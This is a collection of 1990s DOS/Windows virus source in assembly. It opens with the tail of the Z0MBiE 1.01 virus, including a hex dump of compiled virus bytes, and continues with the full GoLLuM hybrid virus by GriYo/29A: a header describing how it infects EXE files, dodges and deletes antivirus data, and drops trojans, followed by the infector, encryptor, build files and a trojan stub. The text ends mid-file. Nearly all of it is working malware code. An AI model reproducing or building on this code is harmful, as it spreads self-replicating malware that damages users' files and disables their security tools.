; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ messages ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

db 13,10,'Z0MBiE 1.01 (c) 1997',13,10


db 'My 2nd virii for mustdie',13,10
db 'Tnx to S.S.R.',13,10

m1 macro n
if n ge 100000
db n / 10000/10 mod 10 + '0'
else
db '.'
endif
if n ge 10000
db n / 10000 mod 10 + '0'
else
db '.'
endif
if n ge 1000
db n / 1000 mod 10 + '0'
else
db '.'
endif
db n / 100 mod 10 + '0'
db n / 10 mod 10 + '0'
db n / 1 mod 10 + '0',13,10
endm

; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
zsetup db '\ZSetUp.EXE',0
z:
include z.inc ; Z0MBiE.1922
z_size equ $-z
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

db 13,10
db 'code..............'
m1 codesize
db 'viriisize.........'
m1 viriisize
db 'virtsize..........'
m1 virtsize

peheader:
signature dd 0
cputype dw 0
numObj dw 0
dd 3 dup (0)
NtHeaderSize dw 0
Flags dw 0
dd 4 dup (0)
entrypointRVA dd 0
dd 3 dup (0)
objalign dd 0
filealign dd 0
dd 4 dup (0)
imagesize dd 0
headersize dd 0
peheader_size equ $-peheader

align 4
viriisize equ $-start

infdir db 256 dup (?)

maxbufsize equ 4096


buf db maxbufsize dup (?)

virtsize equ $-start


end start

; - -[Z.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

abc_size equ 1922 ; size in bytes


abc_num equ 1922 ; size in elements

abc db 0e9h,010h,001h,026h,0a0h,028h,000h,0f6h,0d0h,02eh,030h,006h,022h,001h
db 0beh,02bh,001h,08bh,0feh,0b9h,008h,000h,02eh,0ach,040h,0d1h,0e3h,00bh,0d8h
db 0e2h,0f7h,02eh,088h,01dh,047h,081h,0ffh,0adh,008h,075h,0eah,0ebh,000h,0e8h
db 056h,006h,0b8h,081h,0f0h,0cdh,013h,03dh,08ch,092h,074h,003h,0e8h,0d8h,000h
db 08ch,0c1h,083h,0c1h,010h,0b8h,034h,012h,003h,0c1h,08eh,0d0h,0bch,034h,012h
db 0b8h,034h,012h,003h,0c1h,050h,068h,034h,012h,033h,0c0h,0cbh,053h,0bbh,034h
db 012h,0e4h,040h,032h,0d8h,0e4h,040h,002h,0f8h,0e4h,041h,02ah,0d8h,0e4h,041h
db 032h,0f8h,0e4h,042h,002h,0d8h,0e4h,042h,02ah,0f8h,02eh,089h,01eh,058h,001h
db 093h,05bh,0a8h,001h,0c3h,053h,052h,093h,0e8h,0d4h,0ffh,033h,0d2h,0f7h,0f3h
db 092h,05ah,05bh,0a8h,001h,0c3h,051h,0b1h,059h,0e8h,04eh,000h,02eh,088h,02eh
db 0afh,001h,041h,0e8h,045h,000h,02eh,088h,02eh,0b5h,001h,041h,0e8h,03ch,000h
db 02eh,088h,02eh,0bbh,001h,059h,0c3h,090h,051h,0b9h,059h,000h,0e8h,03ah,000h
db 041h,0b5h,012h,0e8h,034h,000h,041h,0b5h,012h,0e8h,02eh,000h,059h,0c3h,051h
db 0b1h,059h,02eh,08ah,02eh,0afh,001h,080h,0e5h,08fh,080h,0cdh,030h,0e8h,01bh
db 000h,041h,0b5h,033h,0e8h,015h,000h,041h,0b5h,033h,0e8h,00fh,000h,059h,0c3h
db 066h,050h,052h,0e8h,014h,000h,0ech,08ah,0e8h,05ah,066h,058h,0c3h,066h,050h
db 052h,0e8h,007h,000h,08ah,0c5h,0eeh,05ah,066h,058h,0c3h,066h,0b8h,000h,000h
db 000h,080h,08ah,0c1h,024h,0fch,0bah,0f8h,00ch,066h,0efh,080h,0c2h,004h,08ah
db 0c1h,024h,003h,002h,0d0h,0c3h,01eh,006h,00eh,01fh,0fah,0fch,0e8h,070h,0ffh
db 0a0h,0afh,001h,0feh,0c0h,074h,058h,0e8h,0b8h,000h,075h,053h,0e8h,053h,000h
db 074h,00bh,0e8h,074h,000h,074h,006h,0e8h,07ch,000h,074h,001h,0c3h,0e8h,086h
db 0ffh,0b8h,042h,000h,0e8h,03bh,0ffh,003h,0e8h,083h,0c5h,00fh,083h,0e5h,0f0h
db 0c1h,0edh,004h,08ch,0c0h,003h,0c5h,02dh,010h,000h,08eh,0c0h,0bfh,000h,001h
db 0c6h,006h,082h,008h,0eah,0c7h,006h,083h,008h,017h,003h,08ch,006h,085h,008h
db 08ch,006h,0b6h,005h,0beh,000h,001h,0b9h,007h,008h,0f3h,0a4h,0e8h,035h,003h
db 0e8h,032h,0ffh,033h,0c0h,007h,01fh,0c3h,068h,000h,0c0h,007h,033h,0ffh,032h
db 0d2h,026h,08ah,075h,002h,0d1h,0e2h,073h,002h,0b6h,080h,081h,0eah,069h,008h
db 033h,0c0h,08bh,0efh,0b9h,025h,004h,0f3h,0afh,074h,004h,03bh,0fah,076h,0f3h
db 0c3h,0b8h,030h,011h,0b7h,002h,0cdh,010h,08ch,0c0h,03dh,000h,0c0h,0c3h,068h
db 000h,0c0h,007h,033h,0ffh,0b9h,00eh,000h,032h,0c0h,0f3h,0aeh,075h,015h,0b9h
db 010h,000h,0f3h,0aeh,026h,081h,07dh,0ffh,07eh,081h,075h,008h,026h,081h,07dh
db 00dh,07eh,0ffh,074h,006h,081h,0ffh,000h,0f0h,076h,0dch,08bh,0efh,0c3h,0b4h
db 013h,0cdh,02fh,08ch,0c1h,02eh,089h,01eh,02bh,003h,02eh,08ch,006h,02dh,003h
db 0cdh,02fh,081h,0f9h,000h,0f0h,0c3h,03dh,081h,0f0h,074h,019h,03dh,000h,04bh
db 074h,00fh,080h,0fch,043h,074h,00ah,080h,0fch,03dh,074h,005h,0eah,000h,000h
db 000h,000h,0e8h,048h,000h,0ebh,0f6h,0b8h,08ch,092h,0cfh,03dh,081h,0f0h,074h
db 0f7h,0e8h,0a2h,0feh,0e8h,089h,002h,02eh,0a3h,05ch,005h,0e8h,082h,0feh,09ch
db 09ah,000h,000h,000h,000h,09ch,0e8h,08eh,0feh,02eh,080h,03eh,05dh,005h,002h
db 075h,00dh,026h,081h,03fh,04dh,05ah,075h,003h,0e8h,0e4h,001h,0e8h,012h,002h
db 0e8h,060h,002h,0e8h,05dh,0feh,09dh,0cah,002h,000h,09ch,02eh,0ffh,01eh,00ah
db 003h,0c3h,0e8h,065h,0feh,02eh,0c6h,006h,0abh,001h,0c3h,060h,01eh,006h,0fch
db 0b8h,000h,03dh,0e8h,0e6h,0ffh,00fh,082h,066h,001h,093h,0b4h,03fh,00eh,01fh
db 0bah,087h,008h,0b9h,040h,000h,0e8h,0d4h,0ffh,03bh,0c1h,00fh,085h,04dh,001h
db 0a1h,087h,008h,03dh,04dh,05ah,074h,007h,03dh,05ah,04dh,00fh,085h,03eh,001h
db 080h,03eh,099h,008h,069h,00fh,084h,035h,001h,0b8h,000h,042h,033h,0c9h,08bh
db 016h,08fh,008h,0c1h,0e2h,004h,0e8h,0a7h,0ffh,0b4h,03fh,0bah,0bdh,003h,0b9h
db 002h,000h,0e8h,09ch,0ffh,03bh,0c1h,00fh,085h,015h,001h,0b8h,034h,012h,040h
db 00fh,084h,00dh,001h,053h,0b8h,020h,012h,0cdh,02fh,026h,08ah,01dh,0b8h,016h
db 012h,0cdh,02fh,05bh,026h,08bh,055h,013h,026h,08bh,045h,011h,00ah,0c0h,00fh
db 084h,0f5h,000h,0b9h,0e8h,003h,0f7h,0f1h,00bh,0d2h,00fh,084h,0eah,000h,026h
db 0c7h,045h,002h,002h,000h,00eh,007h,0a1h,08bh,008h,048h,0b9h,000h,002h,0f7h
db 0e1h,003h,006h,089h,008h,083h,0d2h,000h,08bh,0f0h,08bh,0fah,0b8h,002h,042h
db 099h,033h,0c9h,0e8h,041h,0ffh,03bh,0c6h,00fh,085h,0bah,000h,03bh,0d7h,00fh
db 085h,0b4h,000h,005h,00fh,000h,083h,0d2h,000h,024h,0f0h,02bh,0f0h,029h,036h
db 089h,008h,050h,052h,0c1h,0e8h,004h,0c1h,0e2h,00ch,00bh,0c2h,02bh,006h,08fh
db 008h,02dh,010h,000h,08bh,0c8h,087h,00eh,09dh,008h,089h,00eh,04bh,001h,0b9h
db 003h,001h,087h,00eh,09bh,008h,089h,00eh,051h,001h,08bh,0c8h,087h,00eh,095h
db 008h,089h,00eh,041h,001h,0b9h,010h,00ah,087h,00eh,097h,008h,089h,00eh,048h
db 001h,081h,006h,091h,008h,0a1h,000h,083h,006h,08bh,008h,01eh,083h,006h,089h
db 008h,03bh,0c6h,006h,099h,008h,069h,0b8h,000h,042h,059h,05ah,0e8h,0cfh,0feh
db 0e8h,05dh,000h,0b4h,040h,0bah,000h,001h,0b9h,02bh,000h,0e8h,0c1h,0feh,0beh
db 02bh,001h,0bfh,0c7h,008h,0b9h,008h,000h,0ach,092h,0bdh,008h,000h,033h,0c0h
db 0d0h,0e2h,0d1h,0d0h,048h,0aah,04dh,075h,0f5h,0e2h,0eeh,0b4h,040h,0bah,0c7h
db 008h,0b9h,040h,000h,0e8h,09bh,0feh,081h,0feh,0adh,008h,072h,0d7h,0b8h,000h
db 042h,099h,033h,0c9h,0e8h,08ch,0feh,0b4h,040h,0bah,087h,008h,0b9h,040h,000h
db 0e8h,081h,0feh,0b4h,03eh,0e8h,07ch,0feh,007h,01fh,061h,02eh,0c6h,006h,0abh
db 001h,090h,0e8h,0c9h,0fch,0c3h,0bfh,084h,007h,0b0h,0c3h,0aah,0b9h,0fdh,000h
db 033h,0c0h,0f3h,0aah,0c7h,006h,007h,001h,0f6h,0d0h,0b0h,008h,0e6h,070h,0e4h
db 071h,03ch,00ah,075h,028h,0c7h,006h,007h,001h,0b0h,000h,0b8h,009h,000h,0e8h
db 070h,0fch,096h,06bh,0f6h,012h,081h,0c6h,0e2h,006h,0b9h,002h,000h,0adh,097h
db 081h,0c7h,084h,007h,0a4h,0adh,097h,081h,0c7h,084h,007h,066h,0a5h,0e2h,0efh
db 0c3h,060h,01eh,006h,033h,0f6h,08eh,0deh,0c4h,09ch,084h,000h,00bh,0dbh,074h
db 01eh,0b8h,081h,0f0h,0cdh,021h,03dh,08ch,092h,074h,014h,02eh,089h,01eh,00ah
db 003h,02eh,08ch,006h,00ch,003h,0c7h,084h,084h,000h,0f5h,002h,08ch,08ch,086h
db 000h,007h,01fh,061h,0c3h,060h,0bah,034h,012h,032h,0f6h,0c1h,0e2h,004h,08dh
db 07fh,00ch,0b9h,00ah,000h,032h,0c0h,0fch,0f3h,0aeh,075h,033h,0bdh,053h,006h
db 0b9h,00bh,000h,08bh,0f5h,08bh,0fbh,02eh,0ach,03ch,0b0h,074h,004h,03ch,080h
db 073h,005h,026h,038h,005h,075h,011h,047h,0e2h,0eeh,08bh,0fbh,0b0h,0e5h,0aah
db 033h,0c0h,0b9h,01fh,000h,0f3h,0aah,0ebh,009h,083h,0c5h,00bh,081h,0fdh,0e2h
db 006h,075h,0d0h,083h,0c3h,020h,04ah,075h,0bah,061h,0c3h,050h,056h,057h,01eh
db 006h,02eh,0c5h,036h,02bh,003h,068h,034h,012h,007h,0bfh,082h,008h,08ah,004h
db 026h,086h,005h,088h,004h,046h,047h,081h,0ffh,087h,008h,075h,0f1h,007h,01fh
db 05fh,05eh,058h,0c3h,00dh,00ah,00ah,05ah,030h,04dh,042h,069h,045h,060h,031h
db 036h,036h,038h,020h,076h,031h,02eh,030h,030h,020h,028h,063h,029h,020h,031h
db 039h,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,054h,06eh,078h
db 020h,074h,06fh,020h,053h,02eh,053h,02eh,052h,02eh,00dh,00ah,053h,068h,061h
db 064h,06fh,077h,052h,041h,04dh,02fh,056h,069h,072h,074h,075h,061h,06ch,020h
db 050h,072h,06fh,063h,065h,073h,073h,020h,049h,06eh,066h,065h,063h,074h,06fh
db 072h,00dh,00ah,053h,068h,061h,064h,06fh,077h,052h,041h,04dh,020h,054h,065h
db 063h,068h,06eh,06fh,06ch,06fh,067h,079h,020h,028h,063h,029h,020h,031h,039h
db 039h,036h,02ch,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,041h
db 044h,049h,04eh,046h,0f9h,0a3h,0a0h,0a2h,0adh,0aeh,041h,049h,044h,053h,0f9h
db 0afh,0aeh,0a3h,0a0h,0adh,0ech,041h,056h,050h,0f9h,0f9h,0e1h,0a0h,0aah,0e1h
db 0f9h,0f9h,057h,045h,042h,0f9h,0f9h,0e3h,0a9h,0aeh,0a1h,0aeh,0aah,044h,052h
db 057h,045h,042h,0f9h,0e2h,0aeh,0a6h,0a5h,0f9h,0f9h,0e5h,0e3h,0a9h,0adh,0efh
db 0f9h,0f9h,0b0h,0b0h,0b0h,0f9h,0a4h,0a5h,0e0h,0ech,0ach,0aeh,0f9h,043h,050h
db 050h,0adh,0a5h,0adh,0a0h,0a2h,0a8h,0a6h,0e3h,043h,020h,020h,053h,02dh,049h
db 043h,045h,0f9h,0e0h,0e3h,0abh,0a5h,0a7h,054h,044h,0f9h,0ach,0a0h,0e1h,0e2h
db 0f9h,0a4h,0a0h,0a9h,044h,045h,042h,055h,047h,0f9h,0f9h,0a3h,0e3h,0a4h,0f9h
db 057h,045h,042h,037h,030h,038h,030h,031h,0edh,0e2h,0aeh,043h,041h,0f9h,0ach
db 0aeh,0f1h,0f9h,0f9h,041h,056h,0f9h,015h,000h,01eh,051h,000h,0f1h,060h,01eh
db 009h,0bdh,000h,0a3h,0f7h,000h,0fah,005h,074h,00bh,006h,000h,0b4h,022h,000h
db 01eh,0f7h,0ebh,0f1h,0b3h,000h,080h,0dfh,000h,024h,016h,002h,03dh,032h,000h
db 01eh,05eh,000h,095h,025h,0b8h,001h,0c5h,000h,033h,0e1h,000h,0e9h,0c9h,004h
db 0b1h,03eh,000h,0fah,05ah,000h,00bh,04ch,013h,08bh,0cdh,000h,080h,0f9h,000h
db 07fh,0dfh,0e0h,059h,009h,000h,02eh,025h,000h,025h,0e5h,009h,0e8h,037h,000h
db 0e8h,063h,000h,0a4h,0f8h,002h,04bh,009h,000h,050h,025h,000h,025h,052h,084h
db 000h,043h,000h,080h,06fh,000h,04eh,09ah,044h,003h,01ah,000h,050h,046h,000h
db 0adh,0cbh,033h,0c0h,085h,000h,0a1h,0a1h,000h,01bh,0fdh,006h,0a3h,036h,000h
db 0b8h,052h,000h,05bh,0c6h,0e0h,050h,0b2h,000h,09ch,0deh,000h,04eh,0e3h,0c9h
db 08eh,007h,000h,08eh,023h,000h,083h,008h,0a2h,002h,0b3h,000h,091h,0dfh,000h
db 059h,0feh,015h,003h,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh
;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; ³ GoLLuM ViRuS - BioCoded by GriYo/29A ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; ³ CopyRight (c) 1997 All RiGhts ReseRVed ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ³ World's first DOS/Win hybrid ever ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; GoLLuM is the very first hybrid DOS-Windows virus ever... it infects DOS
; EXE files only when they're executed inside a DOS window under any of
; the known versions of Microsoft Windows (Windows 3.1x, Windows95...). It
; becomes resident as a virtual device driver when Windows starts, and
; then hooks V86 int 21h in order to monitor file execution, trying to in-
; fect more files under DOS sessions.
;
; When an EXE file is executed inside a MS-DOS window, GoLLuM will attach
; itself to the end of the file (it copies first its DOS code and then the
; VxD file, both of them encrypted with a simple 'not' operation). GoLLuM
; will not infect files that have digits or the 'V' character in their na-
; mes (this includes AVP, MSAV, CPAV...), as well as Thunderbyte utilities
; (TB*.*), McAffee shit and F-Prot.
;
; The virus also deletes some AV database files (ANTI-VIR.DAT, CHKLIST.MS,
; AVP.CRC, IVB.NTZ and CHKLIST.TAV) whenever it infects a file. When these
; infected files are run, GoLLuM inserts the string 'DEVICE=GOLLUM.386'
; into the [386Enh] section of the SYSTEM.INI file, and then drops its VxD
; file into the Windows \SYSTEM directory.
;
; The encryption used by GoLLuM consists on a simple 'not' operation, but
; the decryptor contains a little emulation trick (try to TbClean it!).
; Besides, it contains a date-triggered event, in which it will drop tro-
; jan files (using the DOS stub in its VxD file).
;
; I wrote this just for fun while learning something on VxD coding. GoLLuM
; consists on the following files:
;
; GOLLUM.ASM DOS virus code
; CRYPT.ASM Code used to encrypt DOS virus code
; WGOLLUM.MAK VxD makefile
; WGOLLUM.DEF VxD def file
; VXDSTUB.ASM VxD stub used in trojans
; WGOLLUM.ASM VxD virus code
; ASSEMBLE.BAT Batch file used to build GOLLUM.INC
;
; - -[GOLLUM.ASM - DOS virus code]- - - - - - - - - - - - - - - - - - - ->8

I_am_GoLLuM segment para 'CODE'

Header_Size equ 1Ch


VxD_File_Size equ 6592
Decryptor_Size equ offset Bilbo_Dead
All_Size equ offset Old_Header+(Header_Size+VxD_File_Size)
Assume cs:I_am_GoLLuM,ds:I_am_GoLLuM,es:I_am_GoLLuM,ss:I_am_GoLLuM

;Virus entry point (code inserted intro infected .EXE files)


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
GoLLuM_Entry_Point:
;Get delta offset stored on infection
mov bp,0000h
;Save segment regs
push ds
push es
;Point segment regs to our code
mov ax,cs
mov ds,ax
mov es,ax
;Decrypt virus and VxD file
mov si,offset Bilbo_Dead
add si,bp
mov di,si
mov cx,(All_Size-Decryptor_Size+01h)/02h
Decrypt_Gollum:

;Dont let GoLLum be emulated (Meeethyyyl! ;)


cld
lodsw
push ax
pop ax
cli
sub sp,0002h
pop ax
sti
not ax
cld
stosw
loop Decrypt_Gollum
;Clear prefetch
db 0EBh,00h

;Drop GOLLUM.386 file and insert DEVICE=GOLLUM.386 into SYSTEM.INI


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Bilbo_Dead:
;Find SYSTEM.INI file
mov si,offset Win_Sys_Table
add si,bp
mov cx,0005h
cld
Search_Loop:
lodsw
mov dx,ax
add dx,bp
;Open file (read/write access)
mov ax,3D02h
int 21h
jnc Open_Ok
;Try next file name
loop Search_Loop
jmp Gollum_Leave
Open_Ok:
;Save SYSTEM.INI file handle
mov word ptr cs:[System_Handle][bp],ax
;Build VxD file name
mov si,dx
mov di,offset VxD_File
add di,bp
mov dx,di
Copy_Directory:
lodsb
cmp al,"."
je Found_Extension
stosb
jmp Copy_Directory
Found_Extension:
;Insert the path separator
mov al,"\"
stosb
;Insert the name of the VxD file
mov si,offset Device_String+09h
add si,bp
mov cx,000Ah
rep movsb
;Put the null marker
xor al,al
stosb
;Create de VxD file, abort if exist
mov ah,5Bh
xor cx,cx
mov dx,offset VxD_File
add dx,bp
int 21h
jc Close_Sys
;Write VxD to file
xchg bx,ax
mov ah,40h
mov dx,offset Old_Header+Header_Size
add dx,bp
mov cx,VxD_File_Size
int 21h
jnc ok_VxD_Write
;Close VxD file if error...
mov ah,3Eh
int 21h
;...and delete it!
mov ah,41h
mov dx,offset VxD_File
add dx,bp
int 21h
Close_Sys:
mov bx,word ptr cs:[System_Handle][bp]
jmp Exit_Infection
ok_VxD_Write:
;Get handle of SYSTEM.INI file
mov bx,word ptr cs:[System_Handle][bp]
;Seek to EOF
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
jc Bad_Size
;Strange! SYSTEM.INI file too big
or dx,dx
jnz Bad_Size
cmp ax,VxD_File_Size
jb Size_Ok
Bad_Size:
jmp Exit_Infection
Size_Ok:
;Save SYSTEM.INI file size
mov word ptr cs:[System_Size][bp],ax
;Seek to BOF
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
jc Bad_Size
;Read SYSTEM.INI over VxD file copy
mov ah,3Fh
mov cx,word ptr cs:[System_Size][bp]
mov dx,offset Old_Header+Header_Size
add dx,bp
int 21h
jc bad_size
;Check if SYSTEM.INI have been infected
mov cx,word ptr cs:[System_Size][bp]
mov di,dx
mov al,"G"
Do_Inspect:
cld
repne scasb
or cx,cx
jz System_Clean
;Exit if already resident
cmp word ptr es:[di],"LO"
jne Do_Inspect
cmp word ptr es:[di+02h],"UL"
jne Do_Inspect
jmp Exit_Infection
System_Clean:
;Search for [386Enh] string
mov cx,word ptr cs:[System_Size][bp]
mov di,dx
Section_Search:
cld
mov si,di
lodsw
cmp ax,"3["
jne Next_Char
lodsw
cmp ax,"68"
je Section_Found
Next_Char:
inc di
loop Section_Search
;Section not found, abort
jmp Exit_Infection
Section_Found:
;Save distance from [386Enh] string to EOF
mov ax,0008h
sub cx,ax
add di,ax
sub word ptr cs:[System_Size][bp],cx
;Seek next to [386Enh] string
mov ax,4202h
mov dx,cx
neg dx
xor cx,cx
dec cx
int 21h
jc Exit_Infection
;Write our load string
mov ah,40h
mov cx,0015h
mov dx,offset Device_String
add dx,bp
int 21h
jc Exit_Infection
;Write the rest of SYSTEM.INI file
mov ah,40h
mov cx,word ptr cs:[System_Size][bp]
mov dx,di
int 21h
Exit_Infection:
;Close file (bx=handle)
mov ah,3Eh
int 21h

;Get control back to host


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Gollum_Leave:
;Restore segment registers
pop es
pop ds
;File SYSTEM.INI not found, return to host
mov ah,62h
int 21h
add bx,10h
add word ptr cs:[exe_cs][bp],bx
;Restore stack
cli
add bx,word ptr cs:[Old_Header+0Eh][bp]
mov ss,bx
mov sp,word ptr cs:[Old_Header+10h][bp]
sti
;Clear some regs
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor si,si
xor di,di
xor bp,bp
;Clear prefetch
db 0EBh,00h
;Jump to original entry point
db 0EAh
exe_ip dw 0000h
exe_cs dw 0000h

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;String table
Win_Sys_Table dw offset Win_Sys_01h
dw offset Win_Sys_02h
dw offset Win_Sys_03h
dw offset Win_Sys_04h
dw offset Win_Sys_05h
;Posible locations of SYSTEM.INI file
Win_Sys_01h db "C:\WINDOWS\SYSTEM.INI",00h
Win_Sys_02h db "C:\WIN\SYSTEM.INI",00h
Win_Sys_03h db "C:\WIN31\SYSTEM.INI",00h
Win_Sys_04h db "C:\WIN311\SYSTEM.INI",00h
Win_Sys_05h db "C:\WIN95\SYSTEM.INI",00h
;Buffer where virus build VxD file name and path
VxD_File db 20h dup (00h)
;String inserted into SYSTEM.INI
Device_String db 0Dh,0Ah,"DEVICE=GOLLUM.386",0Dh,0Ah
;Misc data
System_Size dw 0000h
System_Handle dw 0000h
;Next bytes = Old .EXE header + VxD file copy
Old_Header equ this byte
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

I_am_GoLLuM ends
end GoLLuM_Entry_Point

; - -[CRYPT.ASM - Code used to encrypt DOS virus code]- - - - - - - - - ->8


vir_test segment para 'CODE'
Assume cs:vir_test,ds:vir_test,es:vir_test,ss:vir_test
org 0000h
Start:
mov ax,cs
mov ds,ax
mov es,ax
mov ax,3D00h
mov dx,offset f_name
int 21h
jc exit_prog
xchg bx,ax
mov ah,3Fh
mov cx,0FFFFh
mov dx,offset copy
int 21h
jc close_file
push ax
mov ah,3Eh
int 21h
jc close_file
mov si,offset copy+0027h
mov di,si
mov cx,9000
cld
encrypt:
lodsb
not al
stosb
loop encrypt
mov ah,3Ch
xor cx,cx
mov dx,offset x_name
int 21h
jc exit_prog
xchg bx,ax
mov ah,40h
mov dx,offset copy
pop cx
int 21h
close_file:
mov ah,3Eh
int 21h
exit_prog:
mov ax,4C00h
int 21h
f_name db "GOLLUM.BIN",00h
x_name db "GOLLUM.CRP",00h
copy db 10000 dup (00h)
vir_test ends
end Start

; - -[WGOLLUM.MAK - VxD makefile] - - - - - - - - - - - - - - - - - - - ->8

# file: wgollum.mak (VxD makefile)


all : wgollum.exe

vxdstub.obj: vxdstub.asm
masm -Mx -p -w2 vxdstub;

vxdstub.exe: vxdstub.obj
link vxdstub.obj;
wgollum.obj: wgollum.asm .\debug.inc .\vmm.inc .\shell.inc
masm5 -p -w2 -Mx $(Debug) wgollum.asm;

objs = wgollum.obj

wgollum.386: vxdstub.exe wgollum.def $(objs)


link386 @wgollum.lnk
addhdr wgollum.386
mapsym32 wgollum

wgollum.exe: wgollum.386
copy wgollum.386 wgollum.exe

; - -[WGOLLUM.DEF - VxD def file] - - - - - - - - - - - - - - - - - - - ->8

library wgollum
description 'GoLLuM ViRuS for Microsoft Windows© by GriYo/29A'
stub 'vxdstub.exe'
exetype dev386

segments
_ltext preload nondiscardable
_ldata preload nondiscardable
_itext class 'icode' discardable
_idata class 'icode' discardable
_text class 'pcode' nondiscardable
_data class 'pcode' nondiscardable

; - -[VXDSTUB.ASM - VxD stub used in trojans] - - - - - - - - - - - - - ->8

name vxdstub
_TEXT segment word public 'CODE'
assume cs:_TEXT,ds:_TEXT,es:_TEXT

;Activation routine
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

vxdstub proc far


;Segment regs!
mov ax,cs
mov ds,ax
mov es,ax
;Set video mode 80x25x16c
mov ax,0003h
int 10h
;Print "Gollum!"
mov ax,1301h
mov bx,0002h
mov cx,0007h
mov dx,0A24h
mov bp,offset Gollum_Says
int 10h
;Endless loop
Dead_Zone:
